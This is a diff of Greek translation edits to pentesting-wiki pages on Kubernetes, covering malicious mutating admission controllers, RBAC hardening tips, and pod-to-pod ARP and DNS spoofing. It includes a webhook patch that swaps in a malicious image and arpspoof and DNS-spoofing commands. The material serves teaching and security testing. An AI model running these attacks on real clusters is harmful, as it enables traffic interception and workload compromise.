+Ένας ελεγκτής εισόδου **παρεμβαίνει σε αιτήματα προς τον διακομιστή API του Kubernetes** πριν από την αποθήκευση του αντικειμένου, αλλά **μετά την πιστοποίηση και την εξουσιοδότηση του αιτήματος**.
 
-Εάν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να **εισάγει έναν Ελεγκτή Εισόδου Μεταβολής**, θα είναι σε θέση να **τροποποιήσει ήδη πιστοποιημένα αιτήματα**. Έχοντας τη δυνατότητα να εκμεταλλευτεί πιθανώς, και πιο συχνά να παραμείνει στο cluster.
+Εάν ένας επιτιθέμενος καταφέρει με κάποιο τρόπο να **εισάγει έναν Ελεγκτή Μεταβολής Εισόδου**, θα είναι σε θέση να **τροποποιήσει ήδη πιστοποιημένα αιτήματα**. Έχοντας τη δυνατότητα να εκμεταλλευτεί πιθανώς, και πιο συχνά να παραμείνει στο cluster.
 
 **Παράδειγμα από** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
 ```bash
@@ -666,7 +727,7 @@ kubectl describe po nginx | grep "Image: "
 
 #### Τεχνικές λεπτομέρειες
 
-Το σενάριο `./deploy.sh` δημιουργεί έναν μεταβαλλόμενο ελεγκτή εισόδου webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές ρύθμισης παραμέτρων του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται:
+Το σενάριο `./deploy.sh` εγκαθιστά έναν μεταβαλλόμενο ελεγκτή εισόδου webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές ρύθμισης παραμέτρων του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται:
 ```
 patches = append(patches, patchOperation{
 Op:    "replace",
@@ -686,16 +747,16 @@ Value: "rewanthtammana/malicious-image",
 
 ### **Απενεργοποίηση Αυτοματισμού των Tokens Λογαριασμού Υπηρεσίας**
 
-- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για να ενισχυθεί η ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού.
+- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για την ενίσχυση της ασφάλειας, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού.
 - **Πώς να Εφαρμόσετε**: Ορίστε `automountServiceAccountToken: false` στη διαμόρφωση των λογαριασμών υπηρεσίας ή των pods από την έκδοση 1.6 του Kubernetes.
 
 ### **Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings**
 
-- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρέστε άσχετους χρήστες για να διατηρήσετε σφιχτή ασφάλεια.
+- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρείτε μη σχετικούς χρήστες για να διατηρείτε σφιχτή ασφάλεια.
 
-### **Ρόλοι Συγκεκριμένοι σε Namespace Αντί Ρόλων Cluster-Wide**
+### **Ρόλοι Ειδικά για Namespace Αντί Ρόλων Cluster-Wide**
 
-- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες συγκεκριμένες σε namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών.
+- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες που σχετίζονται με namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών.
 
 ### **Χρησιμοποιήστε αυτοματοποιημένα εργαλεία**
 

src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md

@@ -4,9 +4,9 @@
 
 ## Introduction
 
-Στο Kubernetes, παρατηρείται ότι μια προεπιλεγμένη συμπεριφορά επιτρέπει την εγκαθίδρυση συνδέσεων μεταξύ **όλων των κοντέινερ που βρίσκονται στον ίδιο κόμβο**. Αυτό ισχύει ανεξαρτήτως των διακρίσεων ονομάτων χώρου. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Ως εκ τούτου, αυτή η ρύθμιση ενδέχεται να εκθέσει το σύστημα σε ευπάθειες. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα **κακόβουλο κοντέινερ** να εκτελέσει μια **επίθεση spoofing ARP** κατά άλλων κοντέινερ που βρίσκονται στον ίδιο κόμβο. Κατά τη διάρκεια μιας τέτοιας επίθεσης, το κακόβουλο κοντέινερ μπορεί να παραπλανήσει και να παρεμποδίσει ή να τροποποιήσει την κυκλοφορία δικτύου που προορίζεται για άλλα κοντέινερ.
+Στο Kubernetes, παρατηρείται ότι μια προεπιλεγμένη συμπεριφορά επιτρέπει την εγκαθίδρυση συνδέσεων μεταξύ **όλων των κοντέινερ που βρίσκονται στον ίδιο κόμβο**. Αυτό ισχύει ανεξάρτητα από τις διακρίσεις ονομάτων χώρου. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Ως εκ τούτου, αυτή η ρύθμιση ενδέχεται να εκθέσει το σύστημα σε ευπάθειες. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα **κακόβουλο κοντέινερ** να εκτελέσει μια **επίθεση spoofing ARP** κατά άλλων κοντέινερ που βρίσκονται στον ίδιο κόμβο. Κατά τη διάρκεια μιας τέτοιας επίθεσης, το κακόβουλο κοντέινερ μπορεί να παρακολουθήσει ή να τροποποιήσει δόλια την κυκλοφορία δικτύου που προορίζεται για άλλα κοντέινερ.
 
-Οι επιθέσεις spoofing ARP περιλαμβάνουν τον **επιτιθέμενο να στέλνει ψευδείς μηνύματα ARP** (Πρωτόκολλο Επίλυσης Διευθύνσεων) μέσω ενός τοπικού δικτύου. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **διεύθυνσης MAC του επιτιθέμενου με τη διεύθυνση IP ενός νόμιμου υπολογιστή ή διακομιστή στο δίκτυο**. Μετά την επιτυχή εκτέλεση μιας τέτοιας επίθεσης, ο επιτιθέμενος μπορεί να παρεμποδίσει, να τροποποιήσει ή ακόμη και να σταματήσει τα δεδομένα κατά τη μεταφορά. Η επίθεση εκτελείται στο Layer 2 του μοντέλου OSI, γι' αυτό και η προεπιλεγμένη συνδεσιμότητα στο Kubernetes σε αυτό το επίπεδο εγείρει ανησυχίες ασφαλείας.
+Οι επιθέσεις spoofing ARP περιλαμβάνουν τον **επιτιθέμενο να στέλνει ψευδείς μηνύματα ARP** (Πρωτόκολλο Επίλυσης Διευθύνσεων) μέσω ενός τοπικού δικτύου. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **διεύθυνσης MAC του επιτιθέμενου με τη διεύθυνση IP ενός νόμιμου υπολογιστή ή διακομιστή στο δίκτυο**. Μετά την επιτυχή εκτέλεση μιας τέτοιας επίθεσης, ο επιτιθέμενος μπορεί να παρακολουθήσει, να τροποποιήσει ή ακόμη και να σταματήσει δεδομένα σε μετάδοση. Η επίθεση εκτελείται στο Layer 2 του μοντέλου OSI, γι' αυτό και η προεπιλεγμένη συνδεσιμότητα στο Kubernetes σε αυτό το επίπεδο εγείρει ανησυχίες ασφαλείας.
 
 Στο σενάριο, θα δημιουργηθούν 4 μηχανές:
 
@@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
 kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
 kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
 ```
-## Βασική Δικτύωση Kubernetes
+## Βασικά Δίκτυα Kubernetes
 
 Αν θέλετε περισσότερες λεπτομέρειες σχετικά με τα θέματα δικτύωσης που εισάγονται εδώ, πηγαίνετε στις αναφορές.
 
 ### ARP
 
-Γενικά μιλώντας, **η δικτύωση pod-to-pod μέσα στον κόμβο** είναι διαθέσιμη μέσω μιας **γέφυρας** που συνδέει όλα τα pods. Αυτή η γέφυρα ονομάζεται “**cbr0**”. (Ορισμένα plugins δικτύωσης θα εγκαταστήσουν τη δική τους γέφυρα.) Η **cbr0 μπορεί επίσης να διαχειριστεί ARP** (Πρωτόκολλο Επίλυσης Διευθύνσεων). Όταν ένα εισερχόμενο πακέτο φτάνει στο cbr0, μπορεί να επιλύσει τη διεύθυνση MAC προορισμού χρησιμοποιώντας ARP.
+Γενικά, **η δικτύωση pod-to-pod μέσα στον κόμβο** είναι διαθέσιμη μέσω μιας **γέφυρας** που συνδέει όλα τα pods. Αυτή η γέφυρα ονομάζεται “**cbr0**”. (Ορισμένα plugins δικτύωσης θα εγκαταστήσουν τη δική τους γέφυρα.) Η **cbr0 μπορεί επίσης να διαχειριστεί ARP** (Πρωτόκολλο Επίλυσης Διευθύνσεων). Όταν ένα εισερχόμενο πακέτο φτάνει στο cbr0, μπορεί να επιλύσει τη διεύθυνση MAC προορισμού χρησιμοποιώντας ARP.
 
 Αυτό το γεγονός υποδηλώνει ότι, από προεπιλογή, **κάθε pod που εκτελείται στον ίδιο κόμβο** θα μπορεί να **επικοινωνεί** με οποιοδήποτε άλλο pod στον ίδιο κόμβο (ανεξάρτητα από το namespace) σε επίπεδο ethernet (επίπεδο 2).
 
 > [!WARNING]
-> Επομένως, είναι δυνατόν να εκτελούνται επιθέσεις A**RP Spoofing μεταξύ pods στον ίδιο κόμβο.**
+> Επομένως, είναι δυνατό να εκτελούνται επιθέσεις A**RP Spoofing μεταξύ pods στον ίδιο κόμβο.**
 
 ### DNS
 
-Σε περιβάλλοντα kubernetes θα βρείτε συνήθως 1 (ή περισσότερες) **υπηρεσίες DNS που εκτελούνται** συνήθως στο namespace kube-system:
+Σε περιβάλλοντα kubernetes, συνήθως θα βρείτε 1 (ή περισσότερες) **υπηρεσίες DNS που εκτελούνται** συνήθως στο namespace kube-system:
 ```bash
 kubectl -n kube-system describe services
 Name:              kube-dns
@@ -233,11 +233,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
 ```
 ## DNS Spoofing
 
-Όπως αναφέρθηκε ήδη, αν **συμβιβάσετε ένα pod στον ίδιο κόμβο με το pod του DNS server**, μπορείτε να **MitM** με **ARPSpoofing** το **bridge** και το **DNS** pod και να **τροποποιήσετε όλες τις απαντήσεις DNS**.
+Όπως έχει ήδη αναφερθεί, αν **συμβιβάσεις ένα pod στην ίδια κόμβο με το pod του DNS server**, μπορείς να **MitM** με **ARPSpoofing** τη **γέφυρα** και το **pod DNS** και να **τροποποιήσεις όλες τις απαντήσεις DNS**.
 
-Έχετε ένα πολύ ωραίο **tool** και **tutorial** για να το δοκιμάσετε στο [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
+Έχεις ένα πολύ ωραίο **εργαλείο** και **tutorial** για να το δοκιμάσεις στο [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
 
-Στο σενάριό μας, **κατεβάστε** το **tool** στο pod του επιτιθέμενου και δημιουργήστε ένα \*\*αρχείο με το όνομα `hosts` \*\* με τα **domains** που θέλετε να **spoof** όπως:
+Στο σενάριό μας, **κατέβασε** το **εργαλείο** στο pod του επιτιθέμενου και δημιούργησε ένα **αρχείο με όνομα `hosts`** με τα **domains** που θέλεις να **spoof** όπως:
 ```
 cat hosts
 google.com. 1.1.1.1
@@ -261,14 +261,46 @@ google.com.		1	IN	A	1.1.1.1
 ```
 > [!NOTE]
 > Αν προσπαθήσετε να δημιουργήσετε το δικό σας σενάριο DNS spoofing, αν **απλώς τροποποιήσετε την απάντηση DNS** αυτό **δεν** θα **λειτουργήσει**, επειδή η **απάντηση** θα έχει μια **src IP** τη διεύθυνση IP του **κακόβουλου** **pod** και **δεν θα** γίνει **αποδεκτή**.\
-> Πρέπει να δημιουργήσετε ένα **νέο πακέτο DNS** με την **src IP** του **DNS** όπου ο θύμα στέλνει το αίτημα DNS (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτή είναι η IP υπηρεσίας DNS K8s και όχι η IP του διακομιστή DNS, περισσότερα γι' αυτό στην εισαγωγή).
+> Πρέπει να δημιουργήσετε ένα **νέο πακέτο DNS** με την **src IP** του **DNS** όπου ο θύμα στέλνει το αίτημα DNS (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτή είναι η IP υπηρεσίας DNS του K8s και όχι η IP του διακομιστή DNS, περισσότερα γι' αυτό στην εισαγωγή).
 
-## Capturing Traffic
+## DNS Spoofing μέσω του configmap coreDNS
 
-Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένας απλός αλλά ισχυρός **θεατής κυκλοφορίας API για Kubernetes** που σας επιτρέπει να **δείτε όλη την επικοινωνία API** μεταξύ μικροϋπηρεσιών για να σας βοηθήσει να αποσφαλματώσετε και να επιλύσετε αναδρομές.\
-Θα εγκαταστήσει πράκτορες στα επιλεγμένα pods και θα συγκεντρώσει τις πληροφορίες κυκλοφορίας τους και θα σας τις δείξει σε έναν διακομιστή ιστού. Ωστόσο, θα χρειαστείτε υψηλά δικαιώματα K8s για αυτό (και δεν είναι πολύ διακριτικό).
+Ένας χρήστης με δικαιώματα εγγραφής στο configmap `coredns` στο namespace kube-system μπορεί να τροποποιήσει τις απαντήσεις DNS του cluster.
 
-## References
+Δείτε περισσότερες πληροφορίες σχετικά με αυτή την επίθεση στο:
+
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/README.md
+{{/ref}}
+
+## Κατάχρηση εκτεθειμένων υπηρεσιών διαχείρισης kubernetes
+
+Υπηρεσίες όπως το Apache NiFi, Kubeflow, Argo Workflows, Weave Scope και ο πίνακας ελέγχου Kubernetes είναι συχνά εκτεθειμένες είτε στο διαδίκτυο είτε εντός του δικτύου kubernetes. Ένας επιτιθέμενος που καταφέρει να **βρει οποιαδήποτε πλατφόρμα που χρησιμοποιείται για τη διαχείριση του kubernetes και να έχει πρόσβαση σε αυτή** μπορεί να την καταχραστεί για να αποκτήσει πρόσβαση στο API του kubernetes και να εκτελέσει ενέργειες όπως η δημιουργία νέων pods, η τροποποίηση υπαρχόντων ή ακόμη και η διαγραφή τους.
+
+## Καταμέτρηση πολιτικών δικτύου kubernetes
+
+Λάβετε τις ρυθμισμένες **networkpolicies**:
+```bash
+kubectl get networkpolicies --all-namespaces
+```
+Λάβετε τις πολιτικές δικτύου **Callico**:
+```bash
+kubectl get globalnetworkpolicy --all-namespaces
+```
+Λάβετε **Cillium** πολιτικές δικτύου:
+```bash
+kubectl get ciliumnetworkpolicy --all-namespaces
+```
+Αποκτήστε άλλες πολιτικές σχετικές CRDs που έχουν εγκατασταθεί από το δίκτυο σας ή τη λύση ασφαλείας:
+```bash
+kubectl get crd | grep -i policy
+```
+## Καταγραφή Κίνησης
+
+Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένας απλός αλλά ισχυρός **θεατής κίνησης API για Kubernetes** που σας επιτρέπει να **βλέπετε όλες τις επικοινωνίες API** μεταξύ μικροϋπηρεσιών για να βοηθήσετε στην αποσφαλμάτωση και την επίλυση ανατροπών.\
+Θα εγκαταστήσει πράκτορες στα επιλεγμένα pods και θα συγκεντρώσει τις πληροφορίες κίνησής τους και θα σας τις δείξει σε έναν διακομιστή ιστού. Ωστόσο, θα χρειαστείτε υψηλά δικαιώματα K8s για αυτό (και δεν είναι πολύ διακριτικό).
+
+## Αναφορές
 
 - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
 - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)